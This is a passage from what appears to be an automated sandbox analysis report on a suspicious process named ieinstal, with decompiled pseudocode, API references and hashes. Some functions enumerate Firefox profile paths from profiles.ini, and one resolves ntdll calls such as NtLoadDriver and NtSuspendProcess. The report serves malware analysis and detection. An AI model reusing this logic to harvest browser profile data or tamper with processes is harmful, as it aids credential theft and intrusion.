                                                                                                                            0x004011f5
                                                                                                                            0x00401207
                                                                                                                            0x00401222
                                                                                                                            0x0040122a
                                                                                                                            0x00000000
                                                                                                                            0x00401230
                                                                                                                            0x00401238
                                                                                                                            0x0040123a
                                                                                                                            0x00401245
                                                                                                                            0x00401247
                                                                                                                            0x00401249
                                                                                                                            0x00000000
                                                                                                                            0x0040124f
                                                                                                                            0x0040124f
                                                                                                                            0x00000000
                                                                                                                            0x0040124f
                                                                                                                            0x00401249
                                                                                                                            0x00401209
                                                                                                                            0x0040120f
                                                                                                                            0x00401210
                                                                                                                            0x00401210
                                                                                                                            0x00401213
                                                                                                                            0x0040121a
                                                                                                                            0x0040121c
                                                                                                                            0x0040121c
                                                                                                                            0x00401207
                                                                                                                            0x004011cd
                                                                                                                            0x004011c5
                                                                                                                            0x004011ba
                                                                                                                            0x004011b1
                                                                                                                            0x00401409

                                                                                                                            APIs
                                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00401238
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 00401273
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                                                                                                                            • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                                                                                                                            • SetCursor.USER32(00000000,?,?), ref: 0040129E
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                                                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                                                                                                                            • SetBkMode.GDI32(?,00000001), ref: 004012F2
                                                                                                                            • SetTextColor.GDI32(?,00C00000), ref: 00401300
                                                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00401308
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00401329
                                                                                                                            • EndDialog.USER32(?,?), ref: 0040135E
                                                                                                                            • DeleteObject.GDI32(?), ref: 0040136A
                                                                                                                            • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                                                                                                                            • ShowWindow.USER32(00000000), ref: 00401398
                                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                                                                                                                            • ShowWindow.USER32(00000000), ref: 004013A7
                                                                                                                            • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                                                                                                                            • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                                                                                                                            • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                                                                                                                            • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 829165378-0
                                                                                                                            • Opcode ID: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                                                            • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                                                                                                                            • Opcode Fuzzy Hash: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                                                            • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 87%
                                                                                                                            			E0040414F(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				int _v12;
				void _v534;
				long _v536;
				void _v1046;
				long _v1048;
				long _v1570;
				long _v2092;
				int _v2096;
				char _v2100;
				void _v2622;
				long _v2624;
				void _v3146;
				long _v3148;
				void* _t55;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;

				_v2624 = 0;
				memset( &_v2622, 0, 0x208);
				E00409D1F( &_v2624, _a4, "profiles.ini", 0x104);
				_t55 = E00409B98( &_v2624);
				_t101 = _t100 + 0x1c;
				if(_t55 != 0) {
					_v12 = 0;
					_v2100 = 0x454120;
					_v2092 = 0;
					_v1570 = 0;
					_v2096 = 0;
					wcscpy( &_v2092,  &_v2624);
					wcscpy( &_v1570, "General");
					_v1048 = 0;
					memset( &_v1046, 0, 0x1fe);
					_v536 = 0;
					memset( &_v534, 0, 0x208);
					_v8 = 0;
					0x4465cc( &_v1048, 0xff, "Profile%d", 0);
					wcscpy( &_v1570,  &_v1048);
					_t102 = _t101 + 0x40;
					while(1) {
						E00414842( &_v2100, "Path",  &_v536, 0x44e518, 0x104);
						_t55 =  *((intOrPtr*)(_v2100 + 8))("IsRelative",  &_v8, 0);
						if(_v536 == 0) {
							goto L7;
						}
						E00409BAD( &_v536, 0x2f, 0x5c);
						_v3148 = 0;
						memset( &_v3146, 0, 0x208);
						_t103 = _t102 + 0x14;
						if(_v8 == 0) {
							wcscpy( &_v3148,  &_v536);
						} else {
							E00409D1F( &_v3148, _a4,  &_v536, 0x104);
							_t103 = _t103 + 0xc;
						}
						E0040A8AB(_a8,  &_v3148, 1);
						_v12 = _v12 + 1;
						_v1048 = 0;
						memset( &_v1046, 0, 0x1fe);
						_v536 = 0;
						memset( &_v534, 0, 0x208);
						_v8 = 0;
						0x4465cc( &_v1048, 0xff, "Profile%d", _v12);
						wcscpy( &_v1570,  &_v1048);
						_t102 = _t103 + 0x30;
					}
				}
				L7:
				return _t55;
			}






















                                                                                                                            0x0040416b
                                                                                                                            0x00404172
                                                                                                                            0x0040418b
                                                                                                                            0x00404197
                                                                                                                            0x0040419c
                                                                                                                            0x004041a1
                                                                                                                            0x004041b5
                                                                                                                            0x004041b8
                                                                                                                            0x004041c2
                                                                                                                            0x004041c9
                                                                                                                            0x004041d0
                                                                                                                            0x004041d6
                                                                                                                            0x004041e7
                                                                                                                            0x004041f9
                                                                                                                            0x00404200
                                                                                                                            0x0040420e
                                                                                                                            0x00404215
                                                                                                                            0x0040422c
                                                                                                                            0x0040422f
                                                                                                                            0x00404242
                                                                                                                            0x00404247
                                                                                                                            0x00404319
                                                                                                                            0x00404331
                                                                                                                            0x0040434c
                                                                                                                            0x00404356
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00404259
                                                                                                                            0x00404267
                                                                                                                            0x0040426e
                                                                                                                            0x00404273
                                                                                                                            0x0040427f
                                                                                                                            0x0040429e
                                                                                                                            0x00404281
                                                                                                                            0x0040428c
                                                                                                                            0x00404291
                                                                                                                            0x00404291
                                                                                                                            0x004042b1
                                                                                                                            0x004042b6
                                                                                                                            0x004042c6
                                                                                                                            0x004042cd
                                                                                                                            0x004042db
                                                                                                                            0x004042e2
                                                                                                                            0x004042fb
                                                                                                                            0x004042fe
                                                                                                                            0x00404311
                                                                                                                            0x00404316
                                                                                                                            0x00404316
                                                                                                                            0x00404319
                                                                                                                            0x00404360
                                                                                                                            0x00404360

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00404172
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                            • wcscpy.MSVCRT ref: 004041D6
                                                                                                                            • wcscpy.MSVCRT ref: 004041E7
                                                                                                                            • memset.MSVCRT ref: 00404200
                                                                                                                            • memset.MSVCRT ref: 00404215
                                                                                                                            • _snwprintf.MSVCRT ref: 0040422F
                                                                                                                            • wcscpy.MSVCRT ref: 00404242
                                                                                                                            • memset.MSVCRT ref: 0040426E
                                                                                                                            • memset.MSVCRT ref: 004042CD
                                                                                                                            • memset.MSVCRT ref: 004042E2
                                                                                                                            • _snwprintf.MSVCRT ref: 004042FE
                                                                                                                            • wcscpy.MSVCRT ref: 00404311
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                                                                                                                            • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                                                                                                                            • API String ID: 2454223109-1580313836
                                                                                                                            • Opcode ID: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                                                            • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                                                                                                                            • Opcode Fuzzy Hash: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                                                            • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 73%
                                                                                                                            			E00411346(void* __ecx, void* __eflags) {
				void* __esi;
				struct HMENU__* _t111;
				struct HWND__* _t113;
				void* _t116;
				intOrPtr _t121;
				signed char _t159;
				void* _t163;
				void* _t164;
				intOrPtr _t170;
				void* _t174;
				intOrPtr _t177;
				void* _t178;
				void* _t188;
				void* _t189;
				void* _t193;
				intOrPtr* _t198;
				intOrPtr* _t199;
				void* _t201;
				void* _t202;
				void* _t206;

				_t206 = __eflags;
				_t199 = _t201 - 0x78;
				_t202 = _t201 - 0xa0;
				 *((char*)(_t199 - 0x1f)) = 1;
				_t164 = __ecx;
				 *((intOrPtr*)(_t199 - 0x28)) = 0;
				 *((intOrPtr*)(_t199 - 0x24)) = 0;
				 *((char*)(_t199 - 0x20)) = 0;
				 *((char*)(_t199 - 0x1e)) = 0;
				 *((char*)(_t199 - 0x1d)) = 0;
				asm("stosd");
				asm("stosd");
				 *(_t199 - 0x14) = 1;
				 *((intOrPtr*)(_t199 - 0x10)) = 0x9c41;
				 *((char*)(_t199 - 0xc)) = 4;
				 *((char*)(_t199 - 0xb)) = 0;
				 *((char*)(_t199 - 0xa)) = 0;
				 *((char*)(_t199 - 9)) = 0;
				asm("stosd");
				asm("stosd");
				 *_t199 = 5;
				 *((intOrPtr*)(_t199 + 4)) = 0x9c44;
				 *((char*)(_t199 + 8)) = 4;
				 *((char*)(_t199 + 9)) = 0;
				 *((char*)(_t199 + 0xa)) = 0;
				 *((char*)(_t199 + 0xb)) = 0;
				asm("stosd");
				asm("stosd");
				 *(_t199 + 0x14) = 2;
				 *((intOrPtr*)(_t199 + 0x18)) = 0x9c48;
				 *((char*)(_t199 + 0x1c)) = 4;
				 *((char*)(_t199 + 0x1d)) = 0;
				 *((char*)(_t199 + 0x1e)) = 0;
				 *((char*)(_t199 + 0x1f)) = 0;
				 *(_t199 + 0x6c) =  *(_t199 + 0x6c) | 0xffffffff;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t199 + 0x28)) = 3;
				 *((intOrPtr*)(_t199 + 0x2c)) = 0x9c49;
				 *((char*)(_t199 + 0x30)) = 4;
				 *((char*)(_t199 + 0x31)) = 0;
				 *((char*)(_t199 + 0x32)) = 0;
				 *((char*)(_t199 + 0x33)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t199 + 0x3c)) = 0;
				 *((intOrPtr*)(_t199 + 0x40)) = 0x9c4e;
				 *((char*)(_t199 + 0x44)) = 4;
				 *((char*)(_t199 + 0x45)) = 0;
				 *((char*)(_t199 + 0x46)) = 0;
				 *((char*)(_t199 + 0x47)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t199 + 0x50)) = 4;
				 *((intOrPtr*)(_t199 + 0x54)) = 0x9c42;
				 *((char*)(_t199 + 0x58)) = 4;
				 *((char*)(_t199 + 0x59)) = 0;
				 *((char*)(_t199 + 0x5a)) = 0;
				 *((char*)(_t199 + 0x5b)) = 0;
				asm("stosd");
				_t189 = 0x66;
				asm("stosd");
				_t111 = E0040D407(_t189);
				 *(__ecx + 0x21c) = _t111;
				SetMenu( *(__ecx + 0x208), _t111);
				_t113 =  *0x44e028(0x50000000, 0x44e518,  *(_t164 + 0x208), 0x101, _t178, _t188, _t163);
				 *(_t164 + 0x214) = _t113;
				SendMessageW(_t113, 0x404, 1, _t199 + 0x6c);
				_t116 = LoadImageW(GetModuleHandleW(0), 0x68, 0, 0, 0, 0x9060);
				 *((intOrPtr*)(_t164 + 0x218)) =  *0x44e02c( *(_t164 + 0x208), 0x50010900, 0x102, 6, 0, _t116, _t199 - 0x28, 7, 0x10, 0x10, 0x60, 0x10, 0x14);
				E00402F3A( *((intOrPtr*)(_t164 + 0x694)), _t206, CreateWindowExW(0, "SysListView32", 0, 0x50810809, 0, 0, 0x190, 0xc8,  *(_t164 + 0x208), 0x103, GetModuleHandleW(0), 0), 1);
				_t121 =  *((intOrPtr*)(_t164 + 0x694));
				_t170 =  *((intOrPtr*)(_t121 + 0x314));
				_t177 =  *((intOrPtr*)(_t121 + 0x318));
				 *((intOrPtr*)(_t199 + 0x70)) =  *((intOrPtr*)(_t121 + 0x294));
				if(_t170 <= 0) {
					L3:
					 *( *((intOrPtr*)(_t164 + 0x694)) + 0x324) =  *(_t164 + 0x214);
					E004035AD( *((intOrPtr*)(_t164 + 0x694)));
					_t193 = 0x68;
					 *((intOrPtr*)(_t164 + 0x270)) = E0040D407(_t193);
					 *(_t164 + 0x274) = 0 | E0040ADA2( *((intOrPtr*)(_t164 + 0x6a4)), "/nosaveload") >= 0x00000000;
					E00411AC5(_t164, 0);
					E00411A8B(_t164);
					memcpy(_t164 + 0x10f0,  &(( *(_t164 + 0x690))[0x2a0]), 0x2008);
					E004015B2(_t164 + 0x6a8, 0x72,  *(_t164 + 0x208));
					asm("sbb eax, eax");
					ShowWindow( *(_t164 + 0x6b8),  ~(( *(_t164 + 0x690))[0x29f]) & 0x00000005);
					 *( *(_t164 + 0x690)) = 1;
					E0040E9E9( *((intOrPtr*)(_t164 + 0x694)));
					if( *0x45e078 == 0) {
						E00409BDC(0x45e078);
						_t159 = GetFileAttributesW(0x45e078);
						_t211 = _t159 & 0x00000001;
						if((_t159 & 0x00000001) != 0) {
							GetTempPathW(0x104, 0x45e078);
						}
					}
					E00409D1F(_t164 + 0x280, 0x45e078, "report.html", 0x104);
					_push(1);
					_t174 = 0x30;
					E00410A1D( *((intOrPtr*)(_t164 + 0x694)), _t174);
					E00411315(_t164);
					 *((intOrPtr*)(_t164 + 0x698)) = RegisterClipboardFormatW("commdlg_FindReplace");
					E00410D9B(0, _t164, _t211);
					 *(_t199 + 0x64) = 0x12c;
					 *((intOrPtr*)(_t199 + 0x68)) = 0x400;
					SendMessageW( *(_t164 + 0x214), 0x404, 2, _t199 + 0x64);
					SendMessageW( *(_t164 + 0x214), 0x40b, 0x1001, 0);
					return E00401B13(_t164, 0x415);
				}
				_t198 = _t177 + 0xc;
				 *((intOrPtr*)(_t199 + 0x74)) = _t170;
				do {
					E00404592( *((intOrPtr*)(_t198 + 4)),  *((intOrPtr*)(_t198 - 8)),  *((intOrPtr*)(_t199 + 0x70)),  *((intOrPtr*)(_t198 - 0xc)),  *((intOrPtr*)(_t198 - 4)),  *_t198);
					_t202 = _t202 + 0x10;
					_t198 = _t198 + 0x14;
					_t74 = _t199 + 0x74;
					 *_t74 =  *((intOrPtr*)(_t199 + 0x74)) - 1;
				} while ( *_t74 != 0);
				goto L3;
			}























                                                                                                                            0x00411346
                                                                                                                            0x00411347
                                                                                                                            0x0041134b
                                                                                                                            0x00411351
                                                                                                                            0x0041135a
                                                                                                                            0x0041135e
                                                                                                                            0x00411361
                                                                                                                            0x00411364
                                                                                                                            0x00411367
                                                                                                                            0x0041136a
                                                                                                                            0x00411370
                                                                                                                            0x00411371
                                                                                                                            0x00411372
                                                                                                                            0x00411379
                                                                                                                            0x00411380
                                                                                                                            0x00411384
                                                                                                                            0x00411387
                                                                                                                            0x0041138a
                                                                                                                            0x00411392
                                                                                                                            0x00411393
                                                                                                                            0x00411394
                                                                                                                            0x0041139b
                                                                                                                            0x004113a2
                                                                                                                            0x004113a6
                                                                                                                            0x004113a9
                                                                                                                            0x004113ac
                                                                                                                            0x004113b4
                                                                                                                            0x004113b5
                                                                                                                            0x004113b6
                                                                                                                            0x004113bd
                                                                                                                            0x004113c4
                                                                                                                            0x004113c8
                                                                                                                            0x004113cb
                                                                                                                            0x004113ce
                                                                                                                            0x004113d3
                                                                                                                            0x004113da
                                                                                                                            0x004113db
                                                                                                                            0x004113dc
                                                                                                                            0x004113e3
                                                                                                                            0x004113ea
                                                                                                                            0x004113ee
                                                                                                                            0x004113f1
                                                                                                                            0x004113f4
                                                                                                                            0x004113fc
                                                                                                                            0x004113fd
                                                                                                                            0x004113fe
                                                                                                                            0x00411401
                                                                                                                            0x00411408
                                                                                                                            0x0041140c
                                                                                                                            0x0041140f
                                                                                                                            0x00411412
                                                                                                                            0x0041141a
                                                                                                                            0x0041141b
                                                                                                                            0x0041141c
                                                                                                                            0x00411423
                                                                                                                            0x0041142a
                                                                                                                            0x0041142e
                                                                                                                            0x00411431
                                                                                                                            0x00411434
                                                                                                                            0x0041143c
                                                                                                                            0x0041143f
                                                                                                                            0x00411440
                                                                                                                            0x00411441
                                                                                                                            0x00411446
                                                                                                                            0x00411453
                                                                                                                            0x0041146e
                                                                                                                            0x00411480
                                                                                                                            0x00411486
                                                                                                                            0x004114a2
                                                                                                                            0x004114d3
                                                                                                                            0x0041150f
                                                                                                                            0x00411514
                                                                                                                            0x0041151a
                                                                                                                            0x00411522
                                                                                                                            0x0041152e
                                                                                                                            0x00411531
                                                                                                                            0x0041155a
                                                                                                                            0x00411566
                                                                                                                            0x00411572
                                                                                                                            0x00411579
                                                                                                                            0x0041158a
                                                                                                                            0x0041159e
                                                                                                                            0x004115a4
                                                                                                                            0x004115ab
                                                                                                                            0x004115c8
                                                                                                                            0x004115df
                                                                                                                            0x004115f2
                                                                                                                            0x004115fe
                                                                                                                            0x0041160a
                                                                                                                            0x00411616
                                                                                                                            0x00411627
                                                                                                                            0x00411629
                                                                                                                            0x0041162f
                                                                                                                            0x00411635
                                                                                                                            0x00411637
                                                                                                                            0x0041163f
                                                                                                                            0x0041163f
                                                                                                                            0x00411637
                                                                                                                            0x00411656
                                                                                                                            0x00411664
                                                                                                                            0x00411668
                                                                                                                            0x00411669
                                                                                                                            0x00411670
                                                                                                                            0x00411680
                                                                                                                            0x0041168a
                                                                                                                            0x004116a6
                                                                                                                            0x004116ad
                                                                                                                            0x004116b4
                                                                                                                            0x004116c7
                                                                                                                            0x004116dc
                                                                                                                            0x004116dc
                                                                                                                            0x00411533
                                                                                                                            0x00411536
                                                                                                                            0x00411539
                                                                                                                            0x0041154a
                                                                                                                            0x0041154f
                                                                                                                            0x00411552
                                                                                                                            0x00411555
                                                                                                                            0x00411555
                                                                                                                            0x00411555
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                                                                                                                            • SetMenu.USER32(?,00000000), ref: 00411453
                                                                                                                            • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                                                                                                                            • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                                                                                                                            • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                                                                                                                            • memcpy.MSVCRT ref: 004115C8
                                                                                                                            • ShowWindow.USER32(?,?), ref: 004115FE
                                                                                                                            • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                                                                                                                            • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                                                                                                                            • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                                                                                                                            • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                                                                                                                            • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                                                                                                                              • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                                                                                                                              • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                                                                                                                            • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                                                                                                                            • API String ID: 4054529287-3175352466
                                                                                                                            • Opcode ID: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                                                            • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
                                                                                                                            • Opcode Fuzzy Hash: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                                                            • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414F1E Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 75%
                                                                                                                            			E00414F1E(void* __esi, wchar_t* _a4, wchar_t* _a8) {
				int _v8;
				void _v518;
				long _v520;
				void _v1030;
				char _v1032;
				intOrPtr _t32;
				wchar_t* _t57;
				void* _t58;
				void* _t59;
				void* _t60;

				_t58 = __esi;
				_v520 = 0;
				memset( &_v518, 0, 0x1fc);
				_v1032 = 0;
				memset( &_v1030, 0, 0x1fc);
				_t60 = _t59 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__esi + 4)) == 0xffffffff &&  *((intOrPtr*)(__esi + 8)) <= 0) {
					_v8 = 0;
				}
				_t57 = _a4;
				 *_t57 = 0;
				if(_v8 != 0) {
					wcscpy(_t57, "<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						0x4465cc( &_v520, 0xff, " size="%d"", _t32);
						wcscat(_t57,  &_v520);
						_t60 = _t60 + 0x18;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						0x4465cc( &_v520, 0xff, " color="#%s"", E00414E4E(_t33,  &_v1032));
						wcscat(_t57,  &_v520);
					}
					wcscat(_t57, 0x4543c0);
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, "<b>");
				}
				wcscat(_t57, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, "</b>");
				}
				if(_v8 != 0) {
					wcscat(_t57, "</font>");
				}
				return _t57;
			}













                                                                                                                            0x00414f1e
                                                                                                                            0x00414f39
                                                                                                                            0x00414f40
                                                                                                                            0x00414f4e
                                                                                                                            0x00414f55
                                                                                                                            0x00414f5a
                                                                                                                            0x00414f61
                                                                                                                            0x00414f68
                                                                                                                            0x00414f6f
                                                                                                                            0x00414f6f
                                                                                                                            0x00414f75
                                                                                                                            0x00414f78
                                                                                                                            0x00414f7b
                                                                                                                            0x00414f87
                                                                                                                            0x00414f8c
                                                                                                                            0x00414f93
                                                                                                                            0x00414fa7
                                                                                                                            0x00414fb4
                                                                                                                            0x00414fb9
                                                                                                                            0x00414fb9
                                                                                                                            0x00414fbc
                                                                                                                            0x00414fc2
                                                                                                                            0x00414fe3
                                                                                                                            0x00414ff0
                                                                                                                            0x00414ff5
                                                                                                                            0x00414ffe
                                                                                                                            0x00415004
                                                                                                                            0x00415008
                                                                                                                            0x00415010
                                                                                                                            0x00415016
                                                                                                                            0x0041501b
                                                                                                                            0x00415025
                                                                                                                            0x0041502d
                                                                                                                            0x00415033
                                                                                                                            0x00415037
                                                                                                                            0x0041503f
                                                                                                                            0x00415045
                                                                                                                            0x0041504b

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscat$_snwprintfmemset$wcscpy
                                                                                                                            • String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
                                                                                                                            • API String ID: 3143752011-1996832678
                                                                                                                            • Opcode ID: 054461c97bc12b3ac6a6f5d4f147efcfafa35783d9cb78a1f9dd62ddbda29cb0
                                                                                                                            • Instruction ID: fbd97de1ae08b3d7bb58c913f73a739646adbf5bc1eafa8de66ed769fffaada2
                                                                                                                            • Opcode Fuzzy Hash: 054461c97bc12b3ac6a6f5d4f147efcfafa35783d9cb78a1f9dd62ddbda29cb0
                                                                                                                            • Instruction Fuzzy Hash: 25310BB2500315BEE720AA55AC82DBF73BC9F81728F10815FF614621C2EB3C5A854A1D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041352F Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0041352F() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t10;

				if( *0x45dc54 == 0) {
					_t2 = GetModuleHandleW("ntdll.dll");
					 *0x45dc54 = _t2;
					 *0x45dc34 = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x45dc38 = GetProcAddress( *0x45dc54, "NtLoadDriver");
					 *0x45dc3c = GetProcAddress( *0x45dc54, "NtUnloadDriver");
					 *0x45dc40 = GetProcAddress( *0x45dc54, "NtOpenSymbolicLinkObject");
					 *0x45dc44 = GetProcAddress( *0x45dc54, "NtQuerySymbolicLinkObject");
					 *0x45dc48 = GetProcAddress( *0x45dc54, "NtQueryObject");
					 *0x45dc4c = GetProcAddress( *0x45dc54, "NtSuspendProcess");
					_t10 = GetProcAddress( *0x45dc54, "NtResumeProcess");
					 *0x45dc50 = _t10;
					return _t10;
				}
				return _t1;
			}






                                                                                                                            0x00413536
                                                                                                                            0x00413542
                                                                                                                            0x00413554
                                                                                                                            0x00413566
                                                                                                                            0x00413578
                                                                                                                            0x0041358a
                                                                                                                            0x0041359c
                                                                                                                            0x004135ae
                                                                                                                            0x004135c0
                                                                                                                            0x004135d2
                                                                                                                            0x004135d7
                                                                                                                            0x004135d9
                                                                                                                            0x00000000
                                                                                                                            0x004135de
                                                                                                                            0x004135df

                                                                                                                            APIs
                                                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                                                            • GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                                                            • GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                                                            • GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
                                                                                                                            • GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                                                            • GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                                                            • GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                                                            • GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                                                            • GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$HandleModule
